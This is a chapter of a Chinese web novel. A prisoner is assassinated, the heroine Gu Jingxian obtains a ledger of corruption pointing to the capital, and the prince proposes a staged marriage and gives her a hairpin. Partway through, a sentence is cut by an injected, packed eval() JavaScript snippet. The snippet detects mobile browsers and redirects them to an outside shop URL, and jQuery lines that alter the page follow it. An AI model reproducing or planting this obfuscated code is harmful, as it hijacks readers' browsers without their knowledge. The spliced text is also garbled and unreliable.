朱华庭将那黄龙玉从匣子中拿起，左右端详起来，下一刻他就将手一松，那黄龙玉落在地上，霎时间碎成几块碎片。
而碎片正中央处，赫然藏着一块巨大的金砖。
姜松双眸微颤，他正欲出声再为自己辩解一番，一根快箭却从他身后的窗子中猛射而来，直直地穿过姜松的喉咙。
箭被卡在姜松喉间，他还未曾意识到发生了什么，直到自己无法呼吸，疼痛感席卷全身，他才知是背后之人派人来杀了自己。
他再也说不出话，只呜呜咽咽地倒在地上，他一双眼睛盯着朱华庭，不知是仇恨还是悔意。
不过须臾，便断了气。
胡氏呆站在原地，良久后，她似才反应过来方才发生了什么，她捂嘴失声尖叫，痛苦万分。
下一刻，一颗点燃引线的震天雷通过窗子从外而来。
“快走！”
·
这颗震天雷的声响还是传到了顾静娴的房中，这几日为了替朱华庭解毒，她已有三日未曾好好睡上一觉。
如今卧在床上，将睡不睡之际，却被这一声巨响给惊扰了。
她急忙从床上坐起，微微缓了一缓后，她一双脚从床上放下，正欲往门外走去之时，一根飞箭从外面射进房中。
所幸，那根箭不是朝着她而来。
顾静娴忙站在柱子后躲着，生怕又不知从何处再来一箭夺了她的性命。
如今离为顾氏满门报仇只剩一步，她断不能在这时死了。
在柱子后静静等了良久，她往窗外看了几眼，随后才注意到方才飞进来的那根箭上，绑着一本本子。
她提心吊胆地快步走过去，将那本东西取下后，又再次回到柱子后头。
这本本子未曾标注是作何用途，等顾静娴翻动了几页，才发觉这是本账目。
直到翻到最后一页，一个数目让顾静娴心头一颤。
十万两雪花银……
在这数目旁边，还标注了一串红色的朱批小字——
“周元霜买画所付，转赠京中，以此弥补主子银钱空缺。”
在其页面之上，还覆盖了一个姜府的私印。
转赠京中、银子空缺……
顾静娴一番左思右想之后，心里不经意地萌生出一个想法。
她急忙忙地冲出房中，她今日定要将姜松讨问个明白，他背后之人到底是何人。
到底是何人与她顾家有如此深仇大恨，要害顾氏一族到如此万劫不复的地步。
可她不过跑了一段路，就听闻有人传狱中爆炸。
她心道不好，脚底之下加快了脚步。
牢房入口之处，几人狼狈地站着。
顾静娴忙上前拉住朱华庭的衣袖，问道：“姜松呢！”
可话音方落，牢狱之中就有人抬出几具死尸。
其中姜松的死状最为惨烈，半个身子都被炸成了碎渣。
顾静娴目光一震，忍不住地干呕起来。
朱华庭捂住顾静娴的眼，轻声道：“别怕。”
31. 赠簪
顾静娴木讷地盯着姜松的尸首，月光透过稀疏的云层，斑驳地洒在她的脸上，映出一抹难以言喻的复杂情绪。
她的将那本泛黄的账本紧紧地握在手中，随后递给了朱华庭。
朱华庭面露疑惑，伸手接过，翻看了几页，，“哪来的？”
账目之上所记之事，皆为官吏贪赃枉法、欺压百姓之事。
桩桩件件，触目惊心。
“方才一记飞箭射入我房中，这个账本就附带在那箭之上。”
朱华庭面容严峻，两人目光交汇，无需多言，彼此的心意已昭然若揭。
顾静娴缓缓上前，“王爷，铁证在前，遥指京城。”顾静娴的声音低沉而坚定，每一个字都像是从心底挤出，“姜松不过是棋局之上的一粒棋子，下棋者另有他人。”
朱华庭合上账本，目光深邃地望着顾静娴，“你想做什么？”
顾静娴转首望向远方，“此事未了，我要进京，为这一方百姓，也为顾家，讨回公道。”
“京城……”
顾静娴听出朱华庭语气中的迟疑，她拉住朱华庭的衣袖，对他说道：“我曾说过的，我要助你药到病除。如今你助我得了姜松的罪证，我不能做言而无信之人。”
许是顾静娴那深邃的一双眸子打动了朱华庭，他顿了一顿，才道：“好。”
·
因着方才顾静娴谈及有飞箭闯入她的房中，朱华庭心中放心不下，便叫剑来在他值房旁边打扫出了一间屋子。
顾静娴方踏进屋子，身后就传来婢女秋霜的声音，“姑娘！”
数日不见，秋霜着急忙慌地跑向顾静娴，她伸手将顾静娴环抱，带有哭腔道：“姑娘，这几日你不在身边，可担心死我了。怎么样，那楼中可危险，可有人要害你？”
秋霜不知顾静娴如今手上有伤，贸贸然地撞上来，疼得顾静娴倒吸一口凉气。
顾静娴将手移了一移，秋霜这才注意到她包扎着的手臂，心疼起来，“姑娘，你这里是怎么了，是谁伤得你？”
顾静娴拉住秋霜的手，盈盈笑道：“已经包扎过了，不打紧的。”
“我就说我要陪在你的身侧，”秋霜抹了抹泪，“这样我也好照护你。”
秋霜仍旧止不住地心疼着自家的姑娘，顾静娴见状，忙扯开话茬，“怎么不见刘妈妈？”
“她呀，”秋霜抹了抹泪，答道，“沈娘子家的铺子又开了几间，姑娘吩咐我们要好好帮着照应，刘妈妈和芸娘姐便没跟着过来。”
顾静娴问道：“沈姐姐和程姐姐，近来可好？”
“都好，”说到这，秋霜才算是展露了笑颜，“沈姐姐的铺子一开，生意出奇的好。此外，程娘子的嗓子也越来越润了，戏楼里常日座无虚席，大家都好。”
顾静娴满意地点了点头，随后她拉着秋霜走进屋内。
待二人坐下，秋霜看出顾静娴的窘迫，她问道：“姑娘心中可是藏着什么事，不妨说出来，秋霜为你想想法子。”
话说到了这个份子上，顾静娴也就不藏着掖着了，她一双眸子看着秋霜，“秋霜，你可信人死复生。”
这一句话倒叫秋霜摸不着头脑，她紧皱眉间思考，随后问道：“姑娘可是想夫人了？”
顾静娴摇了摇头，而后又点了点头。
她深深吸了口气，又道：“如果我说我不是你家姑娘，你可信？”
“姑娘说得这两句话，我怎么一句比一句更要听不懂呢？”秋霜摸了摸顾静娴的额间，并未发烫，又道：“姑娘，你今夜到底是怎么了？我和你从小一起长大，好说是日日都在一起，你不是我的姑娘，又能是谁？”
顾静娴看着秋霜这摸不着头脑的样子，竟忍不住笑出了声，而后又肃声道：“秋霜，难道你就未曾发现，我和你的姑娘，不像是一人吗？”
秋霜低头思虑片刻，须臾，她又重新抬头看着顾静娴，“是有那么几次，我觉得姑娘变得无比陌生。可……可姑娘若不是姑娘，还能是谁？”
“若我说，我是京中顾府的表小姐，你可信？”
一句话，如同晴天霹雳直击秋霜的脑门。
她一脸疑惑地看着顾静娴，“顾府的表小姐早在两年前就丧生了，姑娘，你到底是怎么了？”
顾静娴不再执着于告诉秋霜真相，她指了指身侧的茶壶道：“秋霜，水凉了，替我温一壶热的来吧。”
秋霜二话不说，捧着茶壶就往门外走去。
可才过了不过一个连廊，她突然顿住脚步，而后缓缓蹲下，竟不知为何，心中似空了一块，低声抽泣起来。
她不是不信方才所谈之话，而是她不愿相信。
自几个月前起，她就察觉到自家姑娘仿佛变了个人般。
可……可姑娘的脸还是姑娘的脸，姑娘姓姜，是姜家的嫡女，又怎会和远在京城的顾氏表姑娘是一个人。
如果面前之人当真是顾氏表姑娘，那她的小姐呢？她的小姐去了哪儿？
想到这，秋霜就哭得更凶了。
这一幕，却正巧被朱华庭派来前来送药的剑来瞧见。
他蹑手蹑脚地靠近秋霜，不发一声地默默蹲下。
等秋霜哭声渐渐微弱下去，他突地开口说话，“秋霜姑娘，你这是怎么了？”
沉浸在悲伤之中的秋霜也是丝毫未曾发觉近身的剑来，霎时间听见声音，她打了一个寒颤，手中的水壶随着大张的手，甩在了剑来的脸上。
剑来吃痛，一屁股坐在地上。
她揉了揉自己的脸，随后指着秋霜道：“秋霜姑娘，我好心来此关心你，你！你居然恩将仇报，拿这等子暗器伤我！”
秋霜忙将剑来搀扶起来，连道了歉，才道：“哪有一声不吭就走近别人身旁的，你这哪是想要关心我，你就分明是想吓我！”
说着说着，秋霜似乎明白了其中的道理。她搀扶一半的手再次放下，剑来往后仰又摔在了地上。
剑来揉了揉自己的腚，略带埋怨地看向秋霜，“秋霜姑娘，你！”剑来单手端着药，单手撑地而起，“亏我好心为你家姑娘送药，早知这样，我就不来了。”
秋霜自觉理亏，从剑来身侧走过去，边走边道：“姑娘在房中，我要去替姑娘打热水了。”
看着秋霜走远的背影，剑来做了个鬼脸，随后就一瘸一拐地走进顾静娴的屋子中。
顾静娴原坐着发呆，见剑来以一种极为怪异的姿势走进来，忙问道：“剑来公子，你这是怎么了？”
剑来他做出一副可怜的样子来，将方才所见添油加醋地说给顾静娴听，“方才我见秋霜姑娘坐在外头地上哭，我好心想去关心关心，不曾想秋霜姑娘一把就将我往地上推。姜姑娘，我委屈啊……”
说罢他将药放在放到桌上，对顾静娴解释道：“我家王爷让我送药来，他说姑娘的手虽然伤得不深，可也不能马虎。这是军中常备的金疮药，对剑伤一类颇为有效。”
“替我谢过你家王爷。”
剑来浅笑了一声，往门外走了几步，复又折返回来。
“姜姑娘，王爷说，待他将玉帘庄里救出来的姑娘都安顿妥当了，咱们即刻回京。”
·
淮州府到京城行水路仅要半月，顾静娴闲来无事时便常常坐在船甲观赏沿路景色。可心中乱序如麻，说是观赏，无非是坐在一处没人的地方黯然神伤罢了。
近黄昏时，秋霜拿了一件斗篷披在顾静娴身上，“夜里凉，姑娘小心别染了风寒才好。”
顾静娴淡笑了声，思绪飘远时原也不觉得冷啊热的，被秋霜这一番话提醒后顿觉得寒风刺骨。轻说道：“无妨，在这坐着散散心。”
“还在想那个账本的事情吗？”
朱华庭的声音从身后传来，顾静娴回头望了一眼。
秋霜识趣地将自己的位置让给朱华庭，朱华庭便在顾静娴身边坐下。
“你现在若是得闲，可愿意听我讲个故事？”朱华庭笑看着顾静娴问道。
“行舟这些日子百无聊赖，王爷愿意讲，我自愿意听。”顾静娴说完，又吩咐秋霜，“替王爷煮盏茶来。”
朱华庭板正了身子，清了清喉咙，不慌不忙地说道：“古时候有个人，靠着自己妻子娘家的帮衬成了地主，成地主前，夫妻二人的感情还算深厚，日子过得也算相敬如宾。可后来他有了权力和地位以及花不完的银子，便开始讨厌那位一开始帮衬了他许多的发妻，还嗔怪起发妻母家。后来他又纳了诸多小妾，其中一位样貌生的极为标志，他只见了一面就被她深深吸引，
自从这位妾室进了门，很快就有了身孕，他将所有的宠爱全给了她，却全然不顾发妻重病缠身。直到……妾室生子当日，他将周遭所有的大夫都叫去陪妾室生产，偏不巧，发妻在那日夜里病情发作，却请不着一个大夫，她亲生的儿子去妾室房中请一个大夫他也不愿，直到后来……发妻不治而亡，生生死在了自己亲儿子怀中。”
顾静娴自然也是听
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14272668|146715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出了朱华庭话中的意思。这哪是什么地主人家，明明就是大内之中，发生在他自个身上的真事。
当朝国母被宠妃一直压着，闹得帝后离心，开朝元老的娘家也被灭门，最后重病缠身不治身亡死在自己亲儿子怀中。
这种事情，亘古未有啊。
朱华庭缓了一会，又问道：“你说，这位正妻所生的大儿子，日后应当如何自处？”
顾家灭门，顾静娴借身后也曾消极过许多时日，她自是明白朱华庭的。细想了片刻，她道：“自应当好好活下去，还要风风光光地活下去，将原先本该属于他和他母亲的，统统夺回来。她虽在九泉之下，可天下父母哪个不为自个儿的后嗣着想，她已走错了路，若她看着自己的儿子步她后尘，日日念着轻生，自轻自贱，哪怕在九泉之下也不得安宁。”
“倘若那嫡子是你，你又当如何？”
这回顾静娴丝毫没有犹豫，“欠债还钱，杀人偿命。欠我的，我自会全讨回来，我受的，也得让他们千倍偿还。”
朱华庭沉寂了片刻，他本以为自己离了京城，就能绝了湘淑妃和朱华序害他的心思，饶自己一条性命苟延残喘，没成想竟一路追杀到了淮州。
须臾，他缓缓抬头，双眸含泪微红，“此番进京也许会危机重重，你可害怕？”
“若能为顾氏报仇，即便是上刀山下火海，我也要去闯一闯。”
朱华庭问：“那账本指向大内，你可想好如何行事了？”
想当初，她还是顾氏嫡女时，也算常常出入大内。
可如今，她已是姜家嫡女，是罪臣的女儿，再想如先前一般进入大内，恐怕是不能了。
顾静娴摇了摇头。
朱华庭沉默片刻道：“若你不嫌，我倒有一个法子。”
顾静娴有了兴致，“王爷不妨告知，是何方法？”
“父皇膝下，就我和二弟两个皇子，如今……”朱华庭说到这又明显的顿了一下，可话已开了口，就没有收回去的道理。他原本盯着顾静娴看的眼神飘忽起来，“如今，我和二弟已经及冠，大内之中早想为我们二人择选王妃。你若……”
朱华庭话还没说完，顾静娴就将其打断，“你的意思，是要让我去选王妃？可我如今是罪臣之女，我又如何能去参选？”
朱华庭能说出这个想法，必定是经过一番深思熟虑，他道：“你若愿意，我能为你假造身份。”
顾静娴静静地看着朱华庭，而后又问：“那王爷是想让我，去做谁的王妃？”
被这一问，朱华庭霎时间红了耳根，不敢再看顾静娴。
良久，他似下定了某种决心一般，又道：“我身上余毒未清，你入我王府，一来可以接近大内，二来可以为我解了身上的余毒。你放心，事成之后，若你不愿留在王府之中做我名义上的妻子，我会一纸和离，放你离开。”
看着这双真挚的眸子，倒叫顾静娴不好意思了。
她低头思量片刻，这个法子与她而言，确实是最急功近利的。
“那王爷可曾想好，要为我编造一个什么身世？”
朱华庭听出顾静娴话中的意思，这便是应允了。
他面上虽如一汪清泉般平静，可心底之中却早已泛起波澜。
微微压了压心底的欣喜之情，朱华庭道：“我朝选妃，向来不注重姑娘家的身世。只要底子干净，年岁符合，都能应选。你先前的身世就很好，殷紫簪，可不能再是江湖行医的浪客。”
朱华庭又道：“淮州平民百姓，常日里乐善好施，劫富济贫。是我对你一见倾心，故而将你带回京城。这样，你觉得怎样？”
顾静娴莫名觉得周身开始燥热，她微微一愣，“王爷想得仔细，就按王爷说得来吧。”说罢，她起身欲要离开。
“且慢，”朱华庭拦道，“我这，有一份东西要给你。”
顾静娴顿住脚步，朝身后看去。
朱华庭拿着一个长匣子，他轻轻地将其打开，里头放着的，赫然是一根点着紫色鸟羽的簪子。
“这簪子很衬你，收下吧，就将其作为咱们二人的定情之物。”
顾静娴接过簪子，笑道：“做戏做全套，王爷想得果真周到。这簪子做工精美，想来是王爷一开始准备送人的吧？我且收下，待事情办完，我定完璧归赵，不耽误王爷送人之情。”说罢，她转身离开。
朱华庭看着渐渐离去的身影，微微一笑。
“我想，我定没有送错。”